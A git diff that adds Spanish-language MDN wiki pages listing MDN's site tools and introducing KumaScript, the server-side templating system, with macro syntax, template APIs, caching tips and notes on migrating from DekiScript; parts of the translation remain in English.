diff --git a/files/es/mdn/tools/index.html b/files/es/mdn/tools/index.html
new file mode 100644
index 0000000000..eff61261b7
--- /dev/null
+++ b/files/es/mdn/tools/index.html
@@ -0,0 +1,45 @@
+---
+title: Herramientas de MDN y Utilidades
+slug: MDN/Tools
+tags:
+  - Documentacion(2)
+  - Documentación
+  - MDN
+  - Proyecto MDC
+translation_of: MDN/Tools
+---
+<div>{{MDNSidebar}}</div><p>MDN ofrece un número de características que hacen fácil seguir el progreso, gestionar el contenido y mantenerte al tanto de los últimos cambios al sitio.</p>
+<div class="row topicpage-table">
+ <div class="section">
+  <h2 class="Documentation" id="Documentation" name="Documentation">Documentación sobre las herramientas de MDN</h2>
+  <dl>
+   <dt>
+    <a href="/en-US/docs/Project:MDN/Tools/Revision_dashboard" title="/en-US/docs/Project:MDN/Tools/Revision_dashboard">Panel de Revisiones</a></dt>
+   <dd>
+    El <a href="/en-US/dashboards/revisions" title="https://developer.mozilla.org/en-US/dashboards/revisions">Panel de Revisión</a> te permite opinar sobre los artículos recientemente cambiados en MDN; el panel también ofrece un número de herramientas de filtrado útlies que te dejan personalizar la pantalla para satisfacer tus necesidades como revisor de contenido.</dd>
+   <dt>
+    <a href="/en-US/docs/Project:MDN/Tools/Revision_dashboard" title="/en-US/docs/Project:MDN/Tools/Revision_dashboard">Panel de Localización</a></dt>
+   <dd>
+    El <a href="/en-US/dashboards/localization" title="/en-US/dashboards/localization">Panel de Localización</a> permite a los equipos de localización coordinar, gestionar su proyecto de localización, y traducir documentación eficientemente. Su función principal es la de ayudar a los equipos de localización a averiguar qué contenido necesita traducirse y qué artículos necesitan atención lo más pronto posible. Esta característica no está terminada aún, pero puedes seguir el desarrollo en {{bug(834317)}}.</dd>
+   <dt>
+    <a href="/en-US/docs/Project:MDN/Tools/Feeds" title="/en-US/docs/Project:About">Fuentes RSS</a></dt>
+   <dd>
+    MDN proporciona un número de fuentes RSS que puedes seguir para estar al día de los cambios hechos en la página, ver listas de artículos que necesitan revisión y así sucesivamente.</dd>
+   <dt>
+    <a href="/en-US/docs/Project:MDN/Tools/Kuma_API" title="/en-US/docs/Project:MDN/Tools/Kuma_API">La API Kuma</a></dt>
+   <dd>
+    Kuma, la plataforma wiki que fortalece MDN, ofrece una API fácil de usar que te permite automatizar tareas de recopilación de información sobre artículos para publicar otros nuevos en la wiki. Aprende más sobre esta API en este artículo.</dd>
+  </dl>
+  <p><span class="alllinks"><a href="/en-US/docs/tag/MDC_Project" title="/en-US/docs/tag/CSS">Ver todo...</a></span></p>
+ </div>
+ <div class="section">
+  <h2 class="Tools" id="Tools" name="Tools">Herramientas MDN</h2>
+  <p>Estos son enlaces directos a herramientas útiles MDN.</p>
+  <ul>
+   <li><a href="/en-US/dashboards/revisions" title="/en-US/dashboards/revisions">Panel de Revisión</a></li>
+   <li><a href="/en-US/dashboards/localization" title="/en-US/dashboards/localization">Panel de Localización</a></li>
+   <li><a href="/en-US/docs/Project:MDN/ServerCharts">Estado del servidor</a></li>
+  </ul>
+ </div>
+</div>
+<p> </p>
diff --git a/files/es/mdn/tools/introduction_to_kumascript/index.html b/files/es/mdn/tools/introduction_to_kumascript/index.html
new file mode 100644
index 0000000000..ed060eecd8
--- /dev/null
+++ b/files/es/mdn/tools/introduction_to_kumascript/index.html
@@ -0,0 +1,683 @@
+---
+title: Introducción a KumaScript
+slug: MDN/Tools/Introduction_to_KumaScript
+translation_of: MDN/Tools/KumaScript
+---
+<div>{{MDNSidebar}}</div>
+
+<div>{{draft}}</div>
+
+<h2 id="Vistazo_general">Vistazo general</h2>
+
+<p>En el verano de 2012, MDN  cambió a una nueva plataforma wiki llamada <a class="link-https" href="https://wiki.mozilla.org/MDN/Kuma" title="https://wiki.mozilla.org/MDN/Kuma">Kuma</a>. Esta reemplaza el lenguaje de plantilla <a class="external" href="http://developer.mindtouch.com/en/docs/DekiScript" title="http://developer.mindtouch.com/en/docs/DekiScript">DekiScript</a> con un nuevo sistema llamado <a class="link-https" href="https://github.com/mozilla/kumascript" title="https://github.com/mozilla/kumascript">KumaScript</a>. KumaScript se alimenta de JavaScript del lado del servidor, usando <a class="external" href="http://nodejs.org/" title="http://nodejs.org/">Node.js</a>. Este artículo provee informaciónde cómo usar KumaScript y cómo actualizar scripts migrados parcialmente desde MindTouch.</p>
+
+<p>Para detalles y preguntas frecuentes sobre KumaScript, mira el <a href="https://vreplay.mozilla.com/replay/showRecordDetails.html?sortBy=date&amp;viewCount=1&amp;currentPage=1&amp;groupBy=combo&amp;roomFilter=&amp;usernameFilter=&amp;searchFilter=&amp;usernameFullFilter=&amp;myManager=-1&amp;adminManager=0&amp;webCast=0&amp;command=&amp;recId=1082&amp;auxMessage=&amp;auxMessage1=&amp;lang=en&amp;langChanged=&amp;tenantFilter=&amp;securityTab=" style="line-height: 1.5;">KumaScript Fireside Chat</a> del equipo de desarrolladores<span style="line-height: 1.5;"> MDN</span><span style="line-height: 1.5;">.</span></p>
+
+<p><span style="">¿Qué es KumaScript?</span></p>
+
+<ul>
+ <li>Una forma de reutilizar y localizar contenido que aparece repetidamente entre los documentos (por ejemplo, rótulos de compatibilidad, navegación de secciones, carteles de advertencia).</li>
+ <li>Una manera de construir documentos sacados de otros documentos.</li>
+ <li>Una manera de buscar e incluir contenido de otros sitios web y servicios (por ejemplo, Bugzilla).</li>
+</ul>
+
+<h3 id="¿Qué_no_es_KumaScript">¿Qué no es KumaScript?</h3>
+
+<ul>
+ <li>KumaScript no soporta scripts interactivos del tipo que pueden aceptar las incripciones por formulario.</li>
+ <li>KumaScript no tiene acceso a bases de datos, archivos, ni a cualquier otra forma de guardar información persistentemente.</li>
+ <li>KumaScript no soporta la personalización basada en el usuario que tiene la sesión abierta.</li>
+ <li>KumaScript no tiene acceso a información de usuario, sólo al contenido y a los metadatos de una wiki que se esté visualizando.</li>
+</ul>
+
+<h2 id="Aspectos_básicos">Aspectos básicos</h2>
+
+<p>KumaScript funciona permitiendo a <em>wiki de confianza</em> escribir <a class="link-https" href="https://github.com/visionmedia/ejs" title="https://github.com/visionmedia/ejs">plantillas JavaScript ensambladas</a>. Estas plantillas pueden ser invocadas en el contenido del documento por cualquier editor <em>wiki</em> mediante el uso de <a class="link-https" href="/en-US/docs/KumaTests/hello_test?raw=1" title="/en-US/docs/KumaTests/hello_test?raw=1">macros</a>.</p>
+
+<table style="display: block;">
+ <tbody>
+  <tr>
+   <td>
+    <p>Una <a class="link-https" href="/en-US/docs/Template:hello" title="/en-US/docs/Template:hello">plantilla</a> se vé así:</p>
+   </td>
+   <td>
+    <p>Una <a class="link-https" href="/en-US/docs/KumaTests/hello_test?raw=1" title="/en-US/docs/KumaTests/hello_test?raw=1">macro</a> se vé así:</p>
+   </td>
+   <td>
+    <p>El <a class="link-https" href="/en-US/docs/KumaTests/hello_test" title="/en-US/docs/KumaTests/hello_test">resultado de una macro</a> sale así:</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <pre class="notranslate">
+&lt;% for (var i = 0; i &lt; $0; i++) { %&gt;
+Hello #&lt;%= i %&gt;
+&lt;% } %&gt;</pre>
+   </td>
+   <td>
+    <pre class="notranslate">
+\{{ hello("3") }}
+</pre>
+   </td>
+   <td>
+    <pre class="notranslate">
+Hello #0
+Hello #1
+Hello #2</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Sintaxis_de_una_macro">Sintaxis de una macro</h3>
+
+<p>Las plantillas KumaScript se invocan en el contenido del documento con macros, como esta:</p>
+
+<pre class="notranslate">\{{ templateName("arg0", "arg1", ..., "argN") }}
+</pre>
+
+<p>La sintaxis de una Macro se compone de estas reglas:</p>
+
+<ul>
+ <li>Las Macros comienzan y terminan con los caracteres <code>\{{</code> y <code>}}</code>.</li>
+ <li>La primera parte de la macro es el nombre de la plantilla. Esta corresponde a una wiki en <code>/en-US/docs/Template:{name}</code>. Editar y crear estas páginas requiere un permiso especial que los administradores pueden otorgar a editores de confianza.</li>
+ <li>Una plantilla puede aceptar parámetros, y esta lista de parámetroa comienza y termina con paréntesis.</li>
+ <li>En una plantilla, los parámetros ingresados están disponibles dentro de la macro como las variables <code>$0</code>, <code>$1</code>, <code>$2</code>, y así sucesivamente.</li>
+ <li>Todos los parámetros no numéricos deber ir entre comillas. Los números pueden quedar sin ellas.</li>
+ <li>La lista completa de parámetros también está disponible en una plantilla como la variable <code>arguments</code>.</li>
+</ul>
+
+<h4 id="Usando_JSON_parámetro_de_macro">Usando JSON parámetro de macro</h4>
+
+<p>Hay una característica semi-experimental disponible para las macros. Puedes proveerlas de un objeto JSON como primero y único parámetro, así:</p>
+
+<pre class="notranslate">\{{ templateName({ "Alpha":"one", "Beta":["a","b","c"], "Foo":"http:\/\/mozilla.org\/" }) }}
+</pre>
+
+<p>Los datos de esta macro estarán disponibles en un código de plantilla como un objeto en el argumento <code>$0</code> (por ejemplo, <code>$0.Alpha</code>, <code>$0.Beta</code>, <code>$0.Foo</code>). Esto también te permite expresar estructuras de datos complejos en los parámetros de macro que son difíciles o imposibles de hacer con una simple lista de parámetros.</p>
+
+<p>Nota que el estilo de este parámetro es muy complejo. Se debe adherir exactamente a la <a href="http://json.org/" title="http://json.org/">sintaxis JSON</a>, que tiene algunas exigencias escurridizas que son fáciles de pasar por alto (por ejemplo, todas las barras (/) llevan escapes). Cuando haya dudas, <a href="http://jsonlint.com/" title="http://jsonlint.com/">intenta ejecutar tu JSON con un validador</a>.</p>
+
+<h4 id="Cómo_escribir">Cómo escribir "\{{"</h4>
+
+<p>Como la secuencia de caracteres "<code>\{{</code>" se usa para indicar el comienzo de una macro, puede ser un problema si justo quieres usar "<code>\{{</code>" and "<code>}}</code>" como texto de una página. Probablemente dará un mensaje de error <code>DocumentParsingError</code>.</p>
+
+<p>En este caso, puedes escapar la primer llave con una barra invertida, así: <code>\\{</code></p>
+
+<h3 id="Sintaxis_de_la_plantilla">Sintaxis de la plantilla</h3>
+
+<p>Las plantillas KumaScript son procesadas por un <a class="link-https" href="https://github.com/visionmedia/ejs" title="https://github.com/visionmedia/ejs">motor de plantillas JavaScript ensamblado</a> con estas simples reglas:</p>
+
+<ul>
+ <li>La mayoría del texto es tratado como salida e incluido en el flujo de salida.</li>
+ <li>Las expresiones y variables JavaScript pueden insertarse en el flujo de salida con estos bloques:
+  <ul>
+   <li><code>&lt;%= expr %&gt;</code> — el valor de la expresión JavaScript es escapado por el HTML antes de incluirse en la salida (por ejemplo, caracteres como <code>&lt;</code> y <code>&gt;</code>  se convierten en <code>&amp;lt;</code> y <code>&amp;gt;</code>).</li>
+   <li><code>&lt;%- expr %&gt;</code> — el valor de una expresión JavaScript es incluído en la salida pero sin escape. (usa esto si quieres construir etiquetas HTML o usar los resultados de otra plantilla que puedan incluir etiquetas HTML.)</li>
+   <li>Es un error incluir punto y coma dentro de los bloques.</li>
+  </ul>
+ </li>
+ <li>Cualquier cosa dentro de un bloque <code>&lt;% %&gt;</code>  se interpreta como JavaScript. Esto puede incluir bucles, condiciones, etc.</li>
+ <li>No hay nada dentro de un bloque <code>&lt;% %&gt;</code> que pueda contribuir al flujo de salida. Pero puedes hacer la transición desde el modo JS al modo de salida usando <code>&lt;% %&gt; </code>—Por ejemplo:
+  <pre class="notranslate">&lt;% for (var i = 0; i &lt; $0; i++) { %&gt;
+Hello #&lt;%= i %&gt;
+&lt;% } %&gt;
+</pre>
+
+  <p>Nota como el JS está contenido entre <code>&lt;% ... %&gt;</code>, y la salida va en el espacio entre <code>%&gt; ... &lt;%</code>. El bucle <em>for</em> en JS puede comenzar en un bloque <code>&lt;% %&gt;</code> , luego el flujo de salida, y terminar en un segundo bloque JS <code>&lt;% %&gt;</code>.</p>
+ </li>
+ <li>For more details on EJS syntax, <a class="link-https" href="https://github.com/visionmedia/ejs" title="https://github.com/visionmedia/ejs">check out the upstream module documentation</a>.</li>
+</ul>
+
+<h2 id="Características_avanzadas">Características avanzadas</h2>
+
+<p>Más allá de los aspectos básicos, el sistema KumaScript ofrece algunas características avanzadas.</p>
+
+<h3 id="Variables_de_entorno">Variables de entorno</h3>
+
+<p>Cuando la wiki hace una llamada al servicio KumaScript, <a class="link-https" href="https://github.com/mozilla/kuma/blob/master/apps/wiki/kumascript.py#L130" title="https://github.com/mozilla/kuma/blob/master/apps/wiki/views.py#L537">pasa por una part del contexto del documento actual</a> que KumaScript pone a disposición de las plantillas como variables:</p>
+
+<dl>
+ <dt><code>env.path</code></dt>
+ <dd>La ruta del documento wiki actual</dd>
+ <dt><code>env.url</code></dt>
+ <dd>La URL completa del documento wiki actual</dd>
+ <dt><code>env.id</code></dt>
+ <dd>Un ID único corto para el documento wiki actual</dd>
+ <dt><code>env.files</code></dt>
+ <dd>Un arreglo de archivos adjuntos para el documento wiki actual. Cada objeto en el arreglo se describe como {{ anch("File objects") }} debajo</dd>
+ <dt><code>env.review_tags</code></dt>
+ <dd>Un arreglo con las etiquetas de revisión del artículo ("technical", "editorial", etc.)</dd>
+ <dt><code>env.locale</code></dt>
+ <dd>El sitio del documento wiki actual</dd>
+ <dt><code>env.title</code></dt>
+ <dd>El título del documento wiki actual</dd>
+ <dt><code>env.slug</code></dt>
+ <dd>Una URL amigable del documento wiki actual</dd>
+ <dt><code>env.tags</code></dt>
+ <dd>Una lista de nombers de etiquetas para el documento wiki actual</dd>
+ <dt><code>env.modified</code></dt>
+ <dd>El último timestamp modificado para el documento wiki actual</dd>
+ <dt><code>env.cache_control</code></dt>
+ <dd><code>El encabezado Cache-Control</code> henviado en la solicitud para el documento wiki actual, útil para decidir si invalidar los caches</dd>
+</dl>
+
+<h4 id="Objetos_de_archivos">Objetos de archivos</h4>
+
+<p>Cada objeto de archivo tiene los siguientes campos:</p>
+
+<dl>
+ <dt><code>title</code></dt>
+ <dd>El título del archivo adjunto</dd>
+ <dt><code>description</code></dt>
+ <dd>Una descripción textual de la revisión actual del archivo</dd>
+ <dt><code>filename</code></dt>
+ <dd>El nombre del archivo</dd>
+ <dt><code>size</code></dt>
+ <dd>El tamaños del archivo en bytes</dd>
+ <dt><code>author</code></dt>
+ <dd>El nombre de usuario de la persona que subió el archivo</dd>
+ <dt><code>mime</code></dt>
+ <dd>El tipo MIME del archivo</dd>
+ <dt><code>url</code></dt>
+ <dd>La URL en la que se puede encontrar el archivo</dd>
+</dl>
+
+<h4 id="Trabajando_con_listas">Trabajando con listas</h4>
+
+<p>Las variables <code>env.tags</code> y <code>env.review_tags</code> devuelven colecciones de etiqutas. Puedes trabajar con estas de varias maneras, por supuesto, pero aquí se dan un par de sugerencias.</p>
+
+<h5 id="Buscar_si_se_colocó_una_etiqueta_específica">Buscar si se colocó una etiqueta específica</h5>
+
+<p>Se puede buscar si una etiqueta específica existe en una página, así:</p>
+
+<pre class="brush: js notranslate">if (env.tags.indexOf("tag") != −1) {
+  // The page has the tag "tag"
+}
+</pre>
+
+<h5 id="Iterar_recorrer_todas_las_etiquetas_de_la_página">Iterar (recorrer) todas las etiquetas de la página</h5>
+
+<p>Se pueden recorrer todas las etiquetas de la página, así:</p>
+
+<pre class="brush: js notranslate">env.tag.forEach(function(tag) {
+  // haz cualquier cosa que necesites, tal como:
+  if (tag.indexOf("a") == 0) {
+    // esta etiqueta empieza con "a" - woohoo!
+  }
+});</pre>
+
+<h3 id="APIs_y_Módulos">APIs y Módulos</h3>
+
+<p>KumaScript ofrece algunas APIs de utilidad incorporadas, como también la capacidad para definir nuevas APIs en módulos editables como documentos wiki.</p>
+
+<h4 id="Métodos_incorporados">Métodos incorporados</h4>
+
+<p>Es probable que esta documentación mantenida manualmente quede desactualizada con respecto al código. Teniendo en cuanta eso, <a class="link-https" href="https://github.com/mozilla/kumascript/blob/master/lib/kumascript/api.js#L208" title="https://github.com/mozilla/kumascript/blob/master/lib/kumascript/api.js#L208">siempre puedes verificar el último estado de las APIs incorporadas en la fuente de KumaScript</a>. Pero hay una selección de métodos útiles expuestos a plantillas:</p>
+
+<dl>
+ <dt><code>md5(string)</code></dt>
+ <dd>Devuelve un resumen de hexadecimal MD5 de determinada cadena.</dd>
+ <dt><code>template("name", ["arg0", "arg1", ..., "argN"])</code></dt>
+ <dd>Ejecuta y devuelve el resultado de las plantillas mencionadas con la lista de parámetros provistos.</dd>
+ <dd>Utilizado en plantillas así: <code>&lt;%- template("warning", ["foo", "bar", "baz"]) %&gt;</code>.</dd>
+ <dd>Esta es una función JavaScript. Así que, si uno de los parámetroses una variable arg como $2, no lo pongas entre comillas. Así: <code>&lt;%- template("warning", [$1, $2, "baz"]) %&gt;</code>. Si necesitas llamar otra plantilla desde el interior de un bloque e código, no uses <code>&lt;%</code> ... <code>%&gt;</code>. Ejemplo: <code>myvar = "&lt;li&gt;" + template("LXRSearch", ["ident", "i", $1]) + "&lt;/li&gt;";</code></dd>
+ <dt><code>require(name)</code></dt>
+ <dd>Carga otra plantilla como un módulo. Cualquier resultadu es ignorado. Devuelce cualquier cosa asignada a <code>module.exports</code> en la plantilla.</dd>
+ <dd>Utilizado en plantillas así: <code>&lt;% var my_module = require('MyModule'); %&gt;</code>.</dd>
+ <dt><code>cacheFn(key, timeout, function_to_cache)</code></dt>
+ <dd>Usando la key y duración de entrada de caché proporcionadas, cachea los resultados de la función proporcionada. Prioriza el valor de <code>env.cache_control</code> para invalidar el cache en <code>no-cache</code>, que puede ser enviado por un usuario logueado  que tipee shift-refresh.</dd>
+ <dt><code>request</code></dt>
+ <dd>Acceso al <a class="link-https" href="https://github.com/mikeal/request" title="https://github.com/mikeal/request"><code>mikeal/request</code></a>, una librería para hacer consultas HTTP. Usar este módulo en las plantillas KumaScriptno es muy amigable, así que quizá desees envolver uso en APIs de módulo que simplifiquen las cosas.</dd>
+</dl>
+
+<h4 id="Módulos_de_API_incorporados">Módulos de API incorporados</h4>
+
+<p>Sólo hay una API incorporada por el momento, en el espacio de nombres <code>kuma</code>:</p>
+
+<dl>
+ <dt><code>kuma.htmlEscape(string)</code></dt>
+ <dd>Escapa los caracteres <code>&amp;, &lt;, &gt;, "</code> a <code>&amp;amp, &amp;lt;, &amp;gt;, &amp;quot;</code>, respectivamente.</dd>
+ <dt> </dt>
+ <dt><code>kuma.include(path)</code></dt>
+ <dd>Incluye contenido de la página en la ruta proporcionada. Cacheo pesado.</dd>
+</dl>
+
+<dl>
+ <dt><code>kuma.pageExists(path)</code></dt>
+ <dd>Indica si existe la página en la ruta proporcionada. Cacheo pesado.</dd>
+</dl>
+
+<h4 id="Creando_módulos">Creando módulos</h4>
+
+<p>Usando el mátodo incorporado <code>require()</code>, puedes cargar una plantilla como módulo para compartir variables y métodos comunes entre plantillas. Un módulo puede definirse como una plantilla de la siguiente manera:</p>
+
+<pre class="notranslate">&lt;%
+module.exports = {
+    add: function (a, b) {
+        return a + b;
+    }
+}
+%&gt;
+</pre>
+
+<p>Asumiendo que esta plantilla está guardada como <code>/en-US/docs/Template:MathLib</code>, puedes utilizarla en otra plantilla, así:</p>
+
+<pre class="notranslate">&lt;%
+var math_lib = require("MathLib");
+%&gt;
+El resultado de 2 + 2 = &lt;%= math_lib.add(2, 2) %&gt;
+</pre>
+
+<p>Y, el resultado de esta plantilla será:</p>
+
+<pre class="notranslate">el resultado de 2 + 2 = 4
+</pre>
+
+<h4 id="Módulos_cargados_automáticamente">Módulos cargados automáticamente</h4>
+
+<p>Hay un grupo de módulos editables como plantillas wiki que se cargan automáticamente y quedan disponibles para cada plantilla. Este grupo está definido en el archivo de configuración para el servicio KumaScript. Cualquier cambio a este requiere un bug IT para editar la configuración y el reinicio del servicio.</p>
+
+<p>Para la mayor parte, estos intentos de proveer sustitutos para stand-ins for legacy DekiScript features to ease template migration. But, going forward, these can be used to share common variables and methods between templates:</p>
+
+<ul>
+ <li><code>mdn.*</code> - <a class="link-https" href="/en-US/docs/Template:MDN:Common" title="/en-US/docs/Template:MDN:Common">Template:MDN:Common</a></li>
+ <li><code>Culture.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:Culture" title="/en-US/docs/Template:DekiScript:Culture">Template:DekiScript:Culture</a></li>
+ <li><code>Date.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:Date" title="/en-US/docs/Template:DekiScript:Date">Template:DekiScript:Date</a></li>
+ <li><code>Json.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:Json" title="/en-US/docs/Template:DekiScript:Json">Template:DekiScript:Json</a></li>
+ <li><code>List.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:List" title="/en-US/docs/Template:DekiScript:List">Template:DekiScript:List</a></li>
+ <li><code>Map.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:Map" title="/en-US/docs/Template:DekiScript:Map">Template:DekiScript:Map</a></li>
+ <li><code>Meta.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:Meta" title="/en-US/docs/Template:DekiScript:Meta">Template:DekiScript:Meta</a></li>
+ <li><code>Num.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:Num" title="/en-US/docs/Template:DekiScript:Num">Template:DekiScript:Num</a></li>
+ <li><code>Page.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:Page" title="/en-US/docs/Template:DekiScript:Page">Template:DekiScript:Page</a></li>
+ <li><code>String.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:String" title="/en-US/docs/Template:DekiScript:String">Template:DekiScript:String</a></li>
+ <li><code>Uri.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:Uri" title="/en-US/docs/Template:DekiScript:Uri">Template:DekiScript:Uri</a></li>
+ <li><code>Web.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:Web" title="/en-US/docs/Template:DekiScript:Web">Template:DekiScript:Web</a></li>
+ <li><code>Wiki.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:Wiki" title="/en-US/docs/Template:DekiScript:Wiki">Template:DekiScript:Wiki</a></li>
+ <li><code>Xml.*</code> - <a class="link-https" href="/en-US/docs/Template:DekiScript:Xml" title="/en-US/docs/Template:DekiScript:Xml">Template:DekiScript:Xml</a></li>
+</ul>
+
+<p>The best way to see the current state and offerings of these modules is to <a class="link-https" href="/en-US/docs/tag/dekiscript" title="/en-US/docs/tag/dekiscript">take a look at their source directly</a>.</p>
+
+<p><strong>Note:</strong> You might notice that the DekiScript modules use a built-in method named <code>buildAPI()</code>, like so:</p>
+
+<pre class="notranslate">&lt;% module.exports = buildAPI({
+    StartsWith: function (str, sub_str) {
+        return (''+str).indexOf(sub_str) === 0;
+    }
+}); %&gt;
+</pre>
+
+<p>The reason for this is because DekiScript is case-insensitive when it comes to references to API methods, whereas JavaScript is strict about uppercase and lowercase in references. So, <code>buildAPI()</code> is a hack to try to cover common case variations in DekiScript calls found in legacy templates.</p>
+
+<p>With that in mind, please do not use <code>buildAPI()</code> in new modules.</p>
+
+<h2 id="Tips_and_caveats">Tips and caveats</h2>
+
+<h3 id="Debugging">Debugging</h3>
+
+<p>A useful tip when debugging. You can use the <code>log.debug()</code> method to output text to the scripting messages area at the top of the page that's running your template. Note that you need to be really sure to remove these when you're done debugging, as they're visible to all users! To use it, just do something like this:</p>
+
+<pre class="notranslate">&lt;%- log.debug("Some text goes here"); %&gt;
+</pre>
+
+<p>You can, of course, create more complex output using script code if it's helpful.</p>
+
+<h3 id="Limitations_of_content_migration_from_MindTouch">Limitations of content migration from MindTouch</h3>
+
+<p>When we make the move to Kuma, we will migrate content from the old MindTouch-based wiki to the new Kuma-based one. This script will do some basic work to attempt to convert scripts. But, there are many common code patterns that migration can't fix.</p>
+
+<p>So, this means that we'll need human intervention to carry template scripts over the rest of the way to being functional.</p>
+
+<p>To find templates in need of review and repair, <a class="link-https" href="/en-US/docs/needs-review/template" title="/en-US/docs/needs-review/template">check here</a>: <a class="link-https" href="/en-US/docs/needs-review/template" rel="freelink">/en...eview/template</a>.</p>
+
+<p>To find examples of templates that have already been repaired, <a class="link-https" href="/en-US/docs/tag/ks-fixed" title="/en-US/docs/tag/ks-fixed">check here</a>: <a class="link-https" href="/en-US/docs/tag/ks-fixed" rel="freelink">/en...s/tag/ks-fixed</a>.</p>
+
+<p>Check the <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=714804">template usage stats bug</a> file attachments to help prioritize templates to fix. If you know your way around <code>gzip</code> and <code>grep</code>, <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=591545" title="https://bugzilla.mozilla.org/attachment.cgi?id=591545">this attachment</a> (a 1.5MB tab-delimited file listing template/document pairs) can help tell you what templates are used on which pages.</p>
+
+<p>As you repair templates, please uncheck the "Template" review checkbox and add the tag "ks-fixed", which will keep the above lists accurate.</p>
+
+<p>You can also find templates in need of repair by simply browsing through wiki content and spotting where content looks garbled with code or otherwise incorrect. Editing the page should show you the name of a macro that's in need of help. You may also see scripting errors on pages, which should offer editing links to the templates causing issues.</p>
+
+<h3 id="Keyword_Shortcut_for_quick_template_editing">Keyword Shortcut for quick template editing</h3>
+
+<p>If you spend time editing a lot of KumaScript templates (e.g., to fix partly-migrated legacy DekiScript templates), you may find this keyword shortcut bookmark handy:</p>
+
+<table style="width: 100%;">
+ <tbody>
+  <tr>
+   <th>Name</th>
+   <td><code>edit mdn template</code></td>
+  </tr>
+  <tr>
+   <th>Location</th>
+   <td><code><a class="link-https" href="/en-US/docs/Template:%s$edit" rel="freelink">/en...mplate:%s$edit</a></code></td>
+  </tr>
+  <tr>
+   <th>Keyword</th>
+   <td><code>te</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Armed with this bookmarklet, you can copy the name of a template, open a new tab, and type "te [Ctrl-V][Return]" to start editing the template. This helps when a template is misbehaving, yet not badly enough to cause a scripting error message.</p>
+
+<h3 id="Changing_Locale_Identifiers">Changing Locale Identifiers</h3>
+
+<p>The identifiers for various locales have changed from MindTouch to Kuma:</p>
+
+<ul>
+ <li><code>en</code> -&gt; <code>en-US</code></li>
+ <li><code>cn</code> -&gt; <code>zh-CN</code></li>
+ <li><code>zh_cn</code> -&gt; <code>zh-CN</code></li>
+ <li><code>zh_tw</code> -&gt; <code>zh-TW</code></li>
+ <li><code>pt</code> -&gt; <code>pt-PT</code></li>
+</ul>
+
+<p>This list should not change in the future, assuming we've not missed any. These locale identifier changes become significant in legacy DekiWIki templates.</p>
+
+<h3 id="URL_pattern_changes">URL pattern changes</h3>
+
+<p>The URL pattern for all wiki documents has changed:</p>
+
+<ul>
+ <li><code>/{locale}/{slug}</code> -&gt; <code>/{locale}/docs/{slug}</code></li>
+</ul>
+
+<p>So, for example:</p>
+
+<ul>
+ <li><code>/en/JavaScript</code> -&gt; <code>/en-US/docs/JavaScript</code></li>
+ <li><code>/de/JavaScript</code> -&gt; <code>/de/docs/JavaScript</code></li>
+ <li><code>/ja/JavaScript</code> -&gt; <code>/ja/docs/JavaScript</code></li>
+</ul>
+
+<p>To avoid breaking links, there is an attempt to automatically redirect requests to the legacy-style URLs to new-style URLs. But, efforts should be made to change links to the new-style URLs whenever possible.</p>
+
+<h3 id="Differences_from_DekiScript">Differences from DekiScript</h3>
+
+<p>It's useful to note a few changes from templates in DekiScript, in case you encounter these in migrated content:</p>
+
+<ul>
+ <li>No more <code>&lt;span class="script"&gt;</code></li>
+ <li>No more <code>template.</code> nor <code>wiki.template</code> prefixing</li>
+ <li>No more <code>template({name}[, arguments])</code> syntax</li>
+ <li>Arguments must be quoted - e.g., <code>bug(123456)</code> becomes <code>bug("123456")</code> - unless you are calling the template from within another template, and the argument is one of the passed-in args like <code>$1</code> in this example: <code>template("LXRSearch", ["ident", "i", $1])</code>.</li>
+</ul>
+
+<h3 id="Caching">Caching</h3>
+
+<p>KumaScript templates are heavily cached to improve performance. For the most part, this works great to serve up content that doesn't change very often. But, as a logged in user, you have two options to force a page to be regenerated, in case you notice issues with scripting:</p>
+
+<ul>
+ <li>Hit Refresh in your browser. This causes KumaScript to invalidate its cache for the content on the current page by issuing a request with a <code>Cache-Control: max-age=0</code> header.</li>
+ <li>Hit Shift-Refresh in your browser. This causes KumaScript to invalidate cache for the current page, as well as for any templates or content used by the current page by issuing a request with a <code>Cache-Control: no-cache</code> header.</li>
+</ul>
+
+<h2 id="Cookbook">Cookbook</h2>
+
+<p>This section will list examples of common patterns for templates used on MDN, including samples of legacy DekiScript templates and their new KumaScript equivalents.</p>
+
+<h3 id="Force_templates_used_on_a_page_to_be_reloaded">Force templates used on a page to be reloaded</h3>
+
+<p>It bears repeating: To force templates used on a page to be reloaded after editing, hit Shift-Reload. Just using Reload by itself will cause the page contents to be regenerated, but using cached templates and included content. A Shift-Reload is necessary to invalidate caches beyond just the content of the page itself.</p>
+
+<h3 id="Recovering_from_Unknown_Error">Recovering from "Unknown Error"</h3>
+
+<p>Sometimes, you'll see a scripting message like this when you load a page:</p>
+
+<pre class="notranslate">Kumascript service failed unexpectedly: &lt;class 'httplib.BadStatusLine'&gt;</pre>
+
+<p>This is probably a temporary failure of the KumaScript service. If you Refresh the page, the error may disappear. If that doesn't work, try a Shift-Refresh. If, after a few tries, the error persists - <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=mozilla.org&amp;format=itrequest">file an IT bug</a> for Mozilla Developer Network to ask for an investigation.</p>
+
+<h3 id="Broken_wiki.languages_macros">Broken wiki.languages() macros</h3>
+
+<p>On some pages, you'll see a scripting error like this:</p>
+
+<pre class="notranslate">Syntax error at line 436, column 461: Expected valid JSON object as the parameter of the preceding macro but...
+</pre>
+
+<p>If you edit the page, you'll probably see a macro like this at the bottom of the page:</p>
+
+<pre class="notranslate">\{{ wiki.languages({ "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/JavaScript_概要", ... }) }}
+</pre>
+
